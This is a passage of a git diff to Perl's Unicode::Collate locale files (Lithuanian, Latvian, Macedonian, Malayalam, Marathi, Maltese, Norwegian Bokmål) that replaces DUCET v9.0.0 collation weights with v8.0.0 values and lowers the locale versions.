b/cpan/Unicode-Collate/Collate/Locale/lt.pl @@ -1,48 +1,48 @@ +{ - locale_version => 1.25, + locale_version => 1.19, # in cldr test/lt.xml why I-dot-acute > I-dot though i-dot-acute < i-dot ? - entry => <<'ENTRY', # for DUCET v9.0.0 -0049 0307 ; [.1D32.0020.0008][.0000.002E.0002] # + entry => <<'ENTRY', # for DUCET v8.0.0 +0049 0307 ; [.1CAD.0020.0008][.0000.002E.0002] # 0307 0300 ; [.0000.0025.0002] # 0307 0301 ; [.0000.0024.0002] # 0307 0303 ; [.0000.002D.0002] # -0105 ; [.1C47.0021.0002] # LATIN SMALL LETTER A WITH OGONEK -0061 0328 ; [.1C47.0021.0002] # LATIN SMALL LETTER A WITH OGONEK -0104 ; [.1C47.0021.0008] # LATIN CAPITAL LETTER A WITH OGONEK -0041 0328 ; [.1C47.0021.0008] # LATIN CAPITAL LETTER A WITH OGONEK -010D ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH CARON -0063 030C ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH CARON -010C ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH CARON -0043 030C ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH CARON -0119 ; [.1CAA.0021.0002] # LATIN SMALL LETTER E WITH OGONEK -0065 0328 ; [.1CAA.0021.0002] # LATIN SMALL LETTER E WITH OGONEK -0118 ; [.1CAA.0021.0008] # LATIN CAPITAL LETTER E WITH OGONEK -0045 0328 ; [.1CAA.0021.0008] # LATIN CAPITAL LETTER E WITH OGONEK -0117 ; [.1CAA.0022.0002] # LATIN SMALL LETTER E WITH DOT ABOVE -0065 0307 ; [.1CAA.0022.0002] # LATIN SMALL LETTER E WITH DOT ABOVE -0116 ; [.1CAA.0022.0008] # LATIN CAPITAL LETTER E WITH DOT ABOVE -0045 0307 ; [.1CAA.0022.0008] # LATIN CAPITAL LETTER E WITH DOT ABOVE -012F ; [.1D32.0021.0002] # LATIN SMALL LETTER I WITH OGONEK -0069 0328 ; [.1D32.0021.0002] # LATIN SMALL LETTER I WITH OGONEK -012E ; [.1D32.0021.0008] # LATIN CAPITAL LETTER I WITH OGONEK -0049 0328 ; [.1D32.0021.0008] # LATIN CAPITAL LETTER I WITH OGONEK -0079 ; [.1D32.0022.0002] # LATIN SMALL LETTER Y -0059 ; [.1D32.0022.0008] # LATIN CAPITAL LETTER Y -0161 ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CARON -0073 030C ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CARON -0160 ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CARON -0053 030C ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CARON -0173 ; [.1EB5.0021.0002] # LATIN SMALL LETTER U WITH OGONEK -0075 0328 ; [.1EB5.0021.0002] # LATIN SMALL LETTER U WITH OGONEK -0172 ; [.1EB5.0021.0008] # LATIN CAPITAL LETTER U WITH OGONEK -0055 0328 ; [.1EB5.0021.0008] # LATIN CAPITAL LETTER U WITH OGONEK -016B ; [.1EB5.0022.0002] # LATIN SMALL LETTER U WITH MACRON -0075 0304 ; [.1EB5.0022.0002] # LATIN SMALL LETTER U WITH MACRON -016A ; [.1EB5.0022.0008] # LATIN CAPITAL LETTER U WITH MACRON -0055 0304 ; [.1EB5.0022.0008] # LATIN CAPITAL LETTER U WITH MACRON -017E ; [.1F22.0020.0002] # LATIN SMALL LETTER Z WITH CARON -007A 030C ; [.1F22.0020.0002] # LATIN SMALL LETTER Z WITH CARON -017D ; [.1F22.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON -005A 030C ; [.1F22.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON +0105 ; [.1BC2.0021.0002] # LATIN SMALL LETTER A WITH OGONEK +0061 0328 ; [.1BC2.0021.0002] # LATIN SMALL LETTER A WITH OGONEK +0104 ; [.1BC2.0021.0008] # LATIN CAPITAL LETTER A WITH OGONEK +0041 0328 ; [.1BC2.0021.0008] # LATIN CAPITAL LETTER A WITH OGONEK +010D ; [.1BF6.0020.0002] # LATIN SMALL LETTER C WITH CARON +0063 030C ; [.1BF6.0020.0002] # LATIN SMALL LETTER C WITH CARON +010C ; [.1BF6.0020.0008] # LATIN CAPITAL LETTER C WITH CARON +0043 030C ; [.1BF6.0020.0008] # LATIN CAPITAL LETTER C WITH CARON +0119 ; [.1C25.0021.0002] # LATIN SMALL LETTER E WITH OGONEK +0065 0328 ; [.1C25.0021.0002] # LATIN SMALL LETTER E WITH OGONEK +0118 ; [.1C25.0021.0008] # LATIN CAPITAL LETTER E WITH OGONEK +0045 0328 ; [.1C25.0021.0008] # LATIN CAPITAL LETTER E WITH OGONEK +0117 ; [.1C25.0022.0002] # LATIN SMALL LETTER E WITH DOT ABOVE +0065 0307 ; [.1C25.0022.0002] # LATIN SMALL LETTER E WITH DOT ABOVE +0116 ; [.1C25.0022.0008] # LATIN CAPITAL LETTER E WITH DOT ABOVE +0045 0307 ; [.1C25.0022.0008] # LATIN CAPITAL LETTER E WITH DOT ABOVE +012F ; [.1CAD.0021.0002] # LATIN SMALL LETTER I WITH OGONEK +0069 0328 ; [.1CAD.0021.0002] # LATIN SMALL LETTER I WITH OGONEK +012E ; [.1CAD.0021.0008] # LATIN CAPITAL LETTER I WITH OGONEK +0049 0328 ; [.1CAD.0021.0008] # LATIN CAPITAL LETTER I WITH OGONEK +0079 ; [.1CAD.0022.0002] # LATIN SMALL LETTER Y +0059 ; [.1CAD.0022.0008] # LATIN CAPITAL LETTER Y +0161 ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH CARON +0073 030C ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH CARON +0160 ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH CARON +0053 030C ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH CARON +0173 ; [.1E30.0021.0002] # LATIN SMALL LETTER U WITH OGONEK +0075 0328 ; [.1E30.0021.0002] # LATIN SMALL LETTER U WITH OGONEK +0172 ; [.1E30.0021.0008] # LATIN CAPITAL LETTER U WITH OGONEK +0055 0328 ; [.1E30.0021.0008] # LATIN CAPITAL LETTER U WITH OGONEK +016B ; [.1E30.0022.0002] # LATIN SMALL LETTER U WITH MACRON +0075 0304 ; [.1E30.0022.0002] # LATIN SMALL LETTER U WITH MACRON +016A ; [.1E30.0022.0008] # LATIN CAPITAL LETTER U WITH MACRON +0055 0304 ; [.1E30.0022.0008] # LATIN CAPITAL LETTER U WITH MACRON +017E ; [.1E9D.0020.0002] # LATIN SMALL LETTER Z WITH CARON +007A 030C ; [.1E9D.0020.0002] # LATIN SMALL LETTER Z WITH CARON +017D ; [.1E9D.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON +005A 030C ; [.1E9D.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/lv.pl b/cpan/Unicode-Collate/Collate/Locale/lv.pl index 6833621c28f3..23efcfc1ca24 100644 --- a/cpan/Unicode-Collate/Collate/Locale/lv.pl +++ b/cpan/Unicode-Collate/Collate/Locale/lv.pl @@ -1,37 +1,37 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -010D ; [.1C8E.0020.0002] # LATIN SMALL LETTER C WITH CARON -0063 030C ; [.1C8E.0020.0002] # LATIN SMALL LETTER C WITH CARON -010C ; [.1C8E.0020.0008] # LATIN CAPITAL LETTER C WITH CARON -0043 030C ; [.1C8E.0020.0008] # LATIN CAPITAL LETTER C WITH CARON -0123 ; [.1D17.0020.0002] # LATIN SMALL LETTER G WITH CEDILLA -0067 0327 ; [.1D17.0020.0002] # LATIN SMALL LETTER G WITH CEDILLA -0122 ; [.1D17.0020.0008] # LATIN CAPITAL LETTER G WITH CEDILLA -0047 0327 ; [.1D17.0020.0008] # LATIN CAPITAL LETTER G WITH CEDILLA -0137 ; [.1D76.0020.0002] # LATIN SMALL LETTER K WITH CEDILLA -006B 0327 ; [.1D76.0020.0002] # LATIN SMALL LETTER K WITH CEDILLA -0136 ; [.1D76.0020.0008] # LATIN CAPITAL LETTER K WITH CEDILLA -004B 0327 ; [.1D76.0020.0008] # LATIN CAPITAL LETTER K WITH CEDILLA -013C ; [.1DA9.0020.0002] # LATIN SMALL LETTER L WITH CEDILLA -006C 0327 ; [.1DA9.0020.0002] # LATIN SMALL LETTER L WITH CEDILLA -013B ; [.1DA9.0020.0008] # LATIN CAPITAL LETTER L WITH CEDILLA -004C 0327 ; [.1DA9.0020.0008] # LATIN CAPITAL LETTER L WITH CEDILLA -0146 ; [.1DDC.0020.0002] # LATIN SMALL LETTER N WITH CEDILLA -006E 0327 ; [.1DDC.0020.0002] # LATIN SMALL LETTER N WITH CEDILLA -0145 ; [.1DDC.0020.0008] # LATIN CAPITAL LETTER N WITH CEDILLA -004E 0327 ; [.1DDC.0020.0008] # LATIN CAPITAL LETTER N WITH CEDILLA -0157 ; [.1E70.0020.0002] # LATIN SMALL LETTER R WITH CEDILLA -0072 0327 ; [.1E70.0020.0002] # LATIN SMALL LETTER R WITH CEDILLA -0156 ; [.1E70.0020.0008] # LATIN CAPITAL LETTER R WITH CEDILLA -0052 0327 ; [.1E70.0020.0008] # LATIN CAPITAL LETTER R WITH CEDILLA -0161 ; [.1E94.0020.0002] # LATIN SMALL LETTER S WITH CARON -0073 030C ; [.1E94.0020.0002] # LATIN SMALL LETTER S WITH CARON -0160 ; [.1E94.0020.0008] # LATIN CAPITAL LETTER S WITH CARON -0053 030C ; [.1E94.0020.0008] # LATIN CAPITAL LETTER S WITH CARON -017E ; [.1F3D.0020.0002] # LATIN SMALL LETTER Z WITH CARON -007A 030C ; [.1F3D.0020.0002] # LATIN SMALL LETTER Z WITH CARON -017D ; [.1F3D.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON -005A 030C ; [.1F3D.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +010D ; [.1C09.0020.0002] # LATIN SMALL LETTER C WITH CARON +0063 030C ; [.1C09.0020.0002] # LATIN SMALL LETTER C WITH CARON +010C ; [.1C09.0020.0008] # LATIN CAPITAL LETTER C WITH CARON +0043 030C ; [.1C09.0020.0008] # LATIN CAPITAL LETTER C WITH CARON +0123 ; [.1C92.0020.0002] # LATIN SMALL LETTER G WITH CEDILLA +0067 0327 ; [.1C92.0020.0002] # LATIN SMALL LETTER G WITH CEDILLA +0122 ; [.1C92.0020.0008] # LATIN CAPITAL LETTER G WITH CEDILLA +0047 0327 ; [.1C92.0020.0008] # LATIN CAPITAL LETTER G WITH CEDILLA +0137 ; [.1CF1.0020.0002] # LATIN SMALL LETTER K WITH CEDILLA +006B 0327 ; [.1CF1.0020.0002] # LATIN SMALL LETTER K WITH CEDILLA +0136 ; [.1CF1.0020.0008] # LATIN CAPITAL LETTER K WITH CEDILLA +004B 0327 ; [.1CF1.0020.0008] # LATIN CAPITAL LETTER K WITH CEDILLA +013C ; [.1D24.0020.0002] # LATIN SMALL LETTER L WITH CEDILLA +006C 0327 ; [.1D24.0020.0002] # LATIN SMALL LETTER L WITH CEDILLA +013B ; [.1D24.0020.0008] # LATIN CAPITAL LETTER L WITH CEDILLA +004C 0327 ; [.1D24.0020.0008] # LATIN CAPITAL LETTER L WITH CEDILLA +0146 ; [.1D57.0020.0002] # LATIN SMALL LETTER N WITH CEDILLA +006E 0327 ; [.1D57.0020.0002] # LATIN SMALL LETTER N WITH CEDILLA +0145 ; [.1D57.0020.0008] # LATIN CAPITAL LETTER N WITH CEDILLA +004E 0327 ; [.1D57.0020.0008] # LATIN CAPITAL LETTER N WITH CEDILLA +0157 ; [.1DEB.0020.0002] # LATIN SMALL LETTER R WITH CEDILLA +0072 0327 ; [.1DEB.0020.0002] # LATIN SMALL LETTER R WITH CEDILLA +0156 ; [.1DEB.0020.0008] # LATIN CAPITAL LETTER R WITH CEDILLA +0052 0327 ; [.1DEB.0020.0008] # LATIN CAPITAL LETTER R WITH CEDILLA +0161 ; [.1E0F.0020.0002] # LATIN SMALL LETTER S WITH CARON +0073 030C ; [.1E0F.0020.0002] # LATIN SMALL LETTER S WITH CARON +0160 ; [.1E0F.0020.0008] # LATIN CAPITAL LETTER S WITH CARON +0053 030C ; [.1E0F.0020.0008] # LATIN CAPITAL LETTER S WITH CARON +017E ; [.1EB8.0020.0002] # LATIN SMALL LETTER Z WITH CARON +007A 030C ; [.1EB8.0020.0002] # LATIN SMALL LETTER Z WITH CARON +017D ; [.1EB8.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON +005A 030C ; [.1EB8.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/mk.pl b/cpan/Unicode-Collate/Collate/Locale/mk.pl index c23db9dcc39c..0c1519b79b0b 100644 --- a/cpan/Unicode-Collate/Collate/Locale/mk.pl +++ b/cpan/Unicode-Collate/Collate/Locale/mk.pl @@ -1,20 +1,20 @@ +{ - locale_version => 1.25, + locale_version => 1.19, suppress => [0x0418, 0x0438], - entry => <<'ENTRY', # for DUCET v9.0.0 -0453 ; [.2056.0020.0002] # CYRILLIC SMALL LETTER GJE -0433 0301 ; [.2056.0020.0002] # CYRILLIC SMALL LETTER GJE -0433 0341 ; [.2056.0020.0002] # CYRILLIC SMALL LETTER GJE -0403 ; [.2056.0020.0008] # CYRILLIC CAPITAL LETTER GJE -0413 0301 ; [.2056.0020.0008] # CYRILLIC CAPITAL LETTER GJE -0413 0341 ; [.2056.0020.0008] # CYRILLIC CAPITAL LETTER GJE -045C ; [.211A.0020.0002] # CYRILLIC SMALL LETTER KJE -043A 0301 ; [.211A.0020.0002] # CYRILLIC SMALL LETTER KJE -043A 0341 ; [.211A.0020.0002] # CYRILLIC SMALL LETTER KJE -040C ; [.211A.0020.0008] # CYRILLIC CAPITAL LETTER KJE -041A 0301 ; [.211A.0020.0008] # CYRILLIC CAPITAL LETTER KJE -041A 0341 ; [.211A.0020.0008] # CYRILLIC CAPITAL LETTER KJE -0439 ; [.2080.0020.0002][.0000.0026.0002] # CYRILLIC SMALL LETTER SHORT I -0419 ; [.2080.0020.0008][.0000.0026.0002] # CYRILLIC CAPITAL LETTER SHORT I + entry => <<'ENTRY', # for DUCET v8.0.0 +0453 ; [.1FD1.0020.0002] # CYRILLIC SMALL LETTER GJE +0433 0301 ; [.1FD1.0020.0002] # CYRILLIC SMALL LETTER GJE +0433 0341 ; [.1FD1.0020.0002] # CYRILLIC SMALL LETTER GJE +0403 ; [.1FD1.0020.0008] # CYRILLIC CAPITAL LETTER GJE +0413 0301 ; [.1FD1.0020.0008] # CYRILLIC CAPITAL LETTER GJE +0413 0341 ; [.1FD1.0020.0008] # CYRILLIC CAPITAL LETTER GJE +045C ; [.2095.0020.0002] # CYRILLIC SMALL LETTER KJE +043A 0301 ; [.2095.0020.0002] # CYRILLIC SMALL LETTER KJE +043A 0341 ; [.2095.0020.0002] # CYRILLIC SMALL LETTER KJE +040C ; [.2095.0020.0008] # CYRILLIC CAPITAL LETTER KJE +041A 0301 ; [.2095.0020.0008] # CYRILLIC CAPITAL LETTER KJE +041A 0341 ; [.2095.0020.0008] # CYRILLIC CAPITAL LETTER KJE +0439 ; [.1FFB.0020.0002][.0000.0026.0002] # CYRILLIC SMALL LETTER SHORT I +0419 ; [.1FFB.0020.0008][.0000.0026.0002] # CYRILLIC CAPITAL LETTER SHORT I ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/ml.pl b/cpan/Unicode-Collate/Collate/Locale/ml.pl index 3257127dd391..3bf45a5297cf 100644 --- a/cpan/Unicode-Collate/Collate/Locale/ml.pl +++ b/cpan/Unicode-Collate/Collate/Locale/ml.pl @@ -1,23 +1,23 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -0D3D ; [.0000.00C6.0002] # MALAYALAM SIGN AVAGRAHA -0D57 ; [.28CD.0020.0002] # MALAYALAM AU LENGTH MARK -0D4C ; [.28CD.0020.0003] # MALAYALAM VOWEL SIGN AU -0D46 0D57 ; [.28CD.0020.0003] # MALAYALAM VOWEL SIGN AU -0D15 0D4D 200D ; [.2898.0020.0002][.28CF.0021.0002] # -0D7F ; [.2898.0020.0003][.28CF.0021.0002] # MALAYALAM LETTER CHILLU K -0D23 0D4D 200D ; [.28A6.0020.0002][.28CF.0021.0002] # -0D7A ; [.28A6.0020.0003][.28CF.0021.0002] # MALAYALAM LETTER CHILLU NN -0D28 0D4D 200D ; [.28AB.0020.0002][.28CF.0021.0002] # -0D7B ; [.28AB.0020.0003][.28CF.0021.0002] # MALAYALAM LETTER CHILLU N -0D30 0D4D 200D ; [.28B3.0020.0002][.28CF.0021.0002] # -0D7C ; [.28B3.0020.0003][.28CF.0021.0002] # MALAYALAM LETTER CHILLU RR -0D32 0D4D 200D ; [.28B4.0020.0002][.28CF.0021.0002] # -0D7D ; [.28B4.0020.0003][.28CF.0021.0002] # MALAYALAM LETTER CHILLU L -0D33 0D4D 200D ; [.28BA.0020.0002][.28CF.0021.0002] # -0D7E ; [.28BA.0020.0003][.28CF.0021.0002] # MALAYALAM LETTER CHILLU LL -0D02 ; [.28B1.0020.0002][.28CF.0021.0002] # MALAYALAM SIGN ANUSVARA -0D7B 0D4D ; [.28AB.0020.0002][.28CF.0020.0003] # + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +0D3D ; [.0000.00C1.0002] # MALAYALAM SIGN AVAGRAHA +0D57 ; [.283F.0020.0002] # MALAYALAM AU LENGTH MARK +0D4C ; [.283F.0020.0003] # MALAYALAM VOWEL SIGN AU +0D46 0D57 ; [.283F.0020.0003] # MALAYALAM VOWEL SIGN AU +0D15 0D4D 200D ; [.280A.0020.0002][.2841.0021.0002] # +0D7F ; [.280A.0020.0003][.2841.0021.0002] # MALAYALAM LETTER CHILLU K +0D23 0D4D 200D ; [.2818.0020.0002][.2841.0021.0002] # +0D7A ; [.2818.0020.0003][.2841.0021.0002] # MALAYALAM LETTER CHILLU NN +0D28 0D4D 200D ; [.281D.0020.0002][.2841.0021.0002] # +0D7B ; [.281D.0020.0003][.2841.0021.0002] # MALAYALAM LETTER CHILLU N +0D30 0D4D 200D ; [.2825.0020.0002][.2841.0021.0002] # +0D7C ; [.2825.0020.0003][.2841.0021.0002] # MALAYALAM LETTER CHILLU RR +0D32 0D4D 200D ; [.2826.0020.0002][.2841.0021.0002] # +0D7D ; [.2826.0020.0003][.2841.0021.0002] # MALAYALAM LETTER CHILLU L +0D33 0D4D 200D ; [.282C.0020.0002][.2841.0021.0002] # +0D7E ; [.282C.0020.0003][.2841.0021.0002] # MALAYALAM LETTER CHILLU LL +0D02 ; [.2823.0020.0002][.2841.0021.0002] # MALAYALAM SIGN ANUSVARA +0D7B 0D4D ; [.281D.0020.0002][.2841.0020.0003] # ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/mr.pl b/cpan/Unicode-Collate/Collate/Locale/mr.pl index 416b8b095cd6..2b6b270ab3a8 100644 --- a/cpan/Unicode-Collate/Collate/Locale/mr.pl +++ b/cpan/Unicode-Collate/Collate/Locale/mr.pl @@ -1,14 +1,14 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -0902 ; [.265B.0020.0002][.FFF1.0000.0000] # DEVANAGARI SIGN ANUSVARA -0901 ; [.265B.0021.0002][.FFF1.0000.0000] # DEVANAGARI SIGN CANDRABINDU -0903 ; [.265B.0020.0002][.FFF2.0000.0000] # DEVANAGARI SIGN VISARGA -0950 ; [.265B.0020.0002][.FFF0.0000.0000] # DEVANAGARI OM -0933 ; [.269E.0020.0002][.FFF1.0000.0000] # DEVANAGARI LETTER LLA -0934 ; [.269E.0020.0002][.FFF1.0000.0000][.0000.00C2.0002] # DEVANAGARI LETTER LLLA -0915 094D 0937 ; [.269E.0020.0002][.FFF2.0000.0000] # -091C 094D 091E ; [.269E.0020.0002][.FFF3.0000.0000] # -0939 ; [.269E.0020.0002][.FFF0.0000.0000] # DEVANAGARI LETTER HA + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +0902 ; [.25CE.0020.0002][.FFF1.0000.0000] # DEVANAGARI SIGN ANUSVARA +0901 ; [.25CE.0021.0002][.FFF1.0000.0000] # DEVANAGARI SIGN CANDRABINDU +0903 ; [.25CE.0020.0002][.FFF2.0000.0000] # DEVANAGARI SIGN VISARGA +0950 ; [.25CE.0020.0002][.FFF0.0000.0000] # DEVANAGARI OM +0933 ; [.2611.0020.0002][.FFF1.0000.0000] # DEVANAGARI LETTER LLA +0934 ; [.2611.0020.0002][.FFF1.0000.0000][.0000.00BD.0002] # DEVANAGARI LETTER LLLA +0915 094D 0937 ; [.2611.0020.0002][.FFF2.0000.0000] # +091C 094D 091E ; [.2611.0020.0002][.FFF3.0000.0000] # +0939 ; [.2611.0020.0002][.FFF0.0000.0000] # DEVANAGARI LETTER HA ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/mt.pl b/cpan/Unicode-Collate/Collate/Locale/mt.pl index 6bf773456eca..6bd8574fe1fc 100644 --- a/cpan/Unicode-Collate/Collate/Locale/mt.pl +++ b/cpan/Unicode-Collate/Collate/Locale/mt.pl @@ -1,31 +1,31 @@ +{ - locale_version => 1.25, + locale_version => 1.19, upper_before_lower => 1, - entry => <<'ENTRY', # for DUCET v9.0.0 -010B ; [.1C79.0020.0002] # LATIN SMALL LETTER C WITH DOT ABOVE -0063 0307 ; [.1C79.0020.0002] # LATIN SMALL LETTER C WITH DOT ABOVE -010A ; [.1C79.0020.0008] # LATIN CAPITAL LETTER C WITH DOT ABOVE -0043 0307 ; [.1C79.0020.0008] # LATIN CAPITAL LETTER C WITH DOT ABOVE -0121 ; [.1CF3.0020.0002] # LATIN SMALL LETTER G WITH DOT ABOVE -0067 0307 ; [.1CF3.0020.0002] # LATIN SMALL LETTER G WITH DOT ABOVE -0120 ; [.1CF3.0020.0008] # LATIN CAPITAL LETTER G WITH DOT ABOVE -0047 0307 ; [.1CF3.0020.0008] # LATIN CAPITAL LETTER G WITH DOT ABOVE -0067 0127 ; [.1D17.0020.0002] # -0067 0126 ; [.1D17.0020.0007][.0000.0000.0002] # -0047 0127 ; [.1D17.0020.0007][.0000.0000.0008] # -0047 0126 ; [.1D17.0020.0008] # -0067 0068 0335 ; [.1D17.0020.0002] # -0067 0048 0335 ; [.1D17.0020.0007][.0000.0000.0002] # -0047 0068 0335 ; [.1D17.0020.0007][.0000.0000.0008] # -0047 0048 0335 ; [.1D17.0020.0008] # -0127 ; [.1D31.0020.0002] # LATIN SMALL LETTER H WITH STROKE -0068 0335 ; [.1D31.0020.0002] # LATIN SMALL LETTER H WITH STROKE -210F ; [.1D31.0020.0002] # PLANCK CONSTANT OVER TWO PI -0126 ; [.1D31.0020.0008] # LATIN CAPITAL LETTER H WITH STROKE -0048 0335 ; [.1D31.0020.0008] # LATIN CAPITAL LETTER H WITH STROKE -017C ; [.1F20.0020.0002] # LATIN SMALL LETTER Z WITH DOT ABOVE -007A 0307 ; [.1F20.0020.0002] # LATIN SMALL LETTER Z WITH DOT ABOVE -017B ; [.1F20.0020.0008] # LATIN CAPITAL LETTER Z WITH DOT ABOVE -005A 0307 ; [.1F20.0020.0008] # LATIN CAPITAL LETTER Z WITH DOT ABOVE + entry => <<'ENTRY', # for DUCET v8.0.0 +010B ; [.1BF4.0020.0002] # LATIN SMALL LETTER C WITH DOT ABOVE +0063 0307 ; [.1BF4.0020.0002] # LATIN SMALL LETTER C WITH DOT ABOVE +010A ; [.1BF4.0020.0008] # LATIN CAPITAL LETTER C WITH DOT ABOVE +0043 0307 ; [.1BF4.0020.0008] # LATIN CAPITAL LETTER C WITH DOT ABOVE +0121 ; [.1C6E.0020.0002] # LATIN SMALL LETTER G WITH DOT ABOVE +0067 0307 ; [.1C6E.0020.0002] # LATIN SMALL LETTER G WITH DOT ABOVE +0120 ; [.1C6E.0020.0008] # LATIN CAPITAL LETTER G WITH DOT ABOVE +0047 0307 ; [.1C6E.0020.0008] # LATIN CAPITAL LETTER G WITH DOT ABOVE +0067 0127 ; [.1C92.0020.0002] # +0067 0126 ; [.1C92.0020.0007][.0000.0000.0002] # +0047 0127 ; [.1C92.0020.0007][.0000.0000.0008] # +0047 0126 ; [.1C92.0020.0008] # +0067 0068 0335 ; [.1C92.0020.0002] # +0067 0048 0335 ; [.1C92.0020.0007][.0000.0000.0002] # +0047 0068 0335 ; [.1C92.0020.0007][.0000.0000.0008] # +0047 0048 0335 ; [.1C92.0020.0008] # +0127 ; [.1CAC.0020.0002] # LATIN SMALL LETTER H WITH STROKE +0068 0335 ; [.1CAC.0020.0002] # LATIN SMALL LETTER H WITH STROKE +210F ; [.1CAC.0020.0002] # PLANCK CONSTANT OVER TWO PI +0126 ; [.1CAC.0020.0008] # LATIN CAPITAL LETTER H WITH STROKE +0048 0335 ; [.1CAC.0020.0008] # LATIN CAPITAL LETTER H WITH STROKE +017C ; [.1E9B.0020.0002] # LATIN SMALL LETTER Z WITH DOT ABOVE +007A 0307 ; [.1E9B.0020.0002] # LATIN SMALL LETTER Z WITH DOT ABOVE +017B ; [.1E9B.0020.0008] # LATIN CAPITAL LETTER Z WITH DOT ABOVE +005A 0307 ; [.1E9B.0020.0008] # LATIN CAPITAL LETTER Z WITH DOT ABOVE ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/nb.pl b/cpan/Unicode-Collate/Collate/Locale/nb.pl index b859b000b2f2..474d1222e8b6 100644 --- a/cpan/Unicode-Collate/Collate/Locale/nb.pl +++ b/cpan/Unicode-Collate/Collate/Locale/nb.pl @@ -1,76 +1,76 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -0111 ; [.1C8F.0021.0002] # LATIN SMALL LETTER D WITH STROKE -0064 0335 ; [.1C8F.0021.0002] # LATIN SMALL LETTER D WITH STROKE -0110 ; [.1C8F.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE -0044 0335 ; [.1C8F.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE -00F0 ; [.1C8F.0022.0002] # LATIN SMALL LETTER ETH -1DD9 ; [.1C8F.0022.0002] # COMBINING LATIN SMALL LETTER ETH -00D0 ; [.1C8F.0022.0008] # LATIN CAPITAL LETTER ETH -00FE ; [.1E95.0020.0003][.1D18.0020.0003] # LATIN SMALL LETTER THORN -00DE ; [.1E95.0020.0009][.1D18.0020.0009] # LATIN CAPITAL LETTER THORN -00FC ; [.1F0B.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS -0075 0308 ; [.1F0B.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS -00DC ; [.1F0B.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS -0055 0308 ; [.1F0B.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS -01DC ; [.1F0B.0021.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE -01DB ; [.1F0B.0021.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE -01D8 ; [.1F0B.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE -01D7 ; [.1F0B.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE -01D6 ; [.1F0B.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON -01D5 ; [.1F0B.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON -01DA ; [.1F0B.0021.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON -01D9 ; [.1F0B.0021.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON -0171 ; [.1F0B.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE -0075 030B ; [.1F0B.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE -0170 ; [.1F0B.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE -0055 030B ; [.1F0B.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE -00E6 ; [.1F96.0020.0002] # LATIN SMALL LETTER AE -1DD4 ; [.1F96.0020.0002] # COMBINING LATIN SMALL LETTER AE -00C6 ; [.1F96.0020.0008] # LATIN CAPITAL LETTER AE -1D2D ; [.1F96.0020.0014] # MODIFIER LETTER CAPITAL AE -01FD ; [.1F96.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE -01FC ; [.1F96.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE -01E3 ; [.1F96.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON -01E2 ; [.1F96.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON -00E4 ; [.1F96.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS -0061 0308 ; [.1F96.0021.0002] # LATIN SMALL LETTER A WITH DIAERESIS -00C4 ; [.1F96.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS -0041 0308 ; [.1F96.0021.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS -01DF ; [.1F96.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON -01DE ; [.1F96.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON -0119 ; [.1F96.0022.0002] # LATIN SMALL LETTER 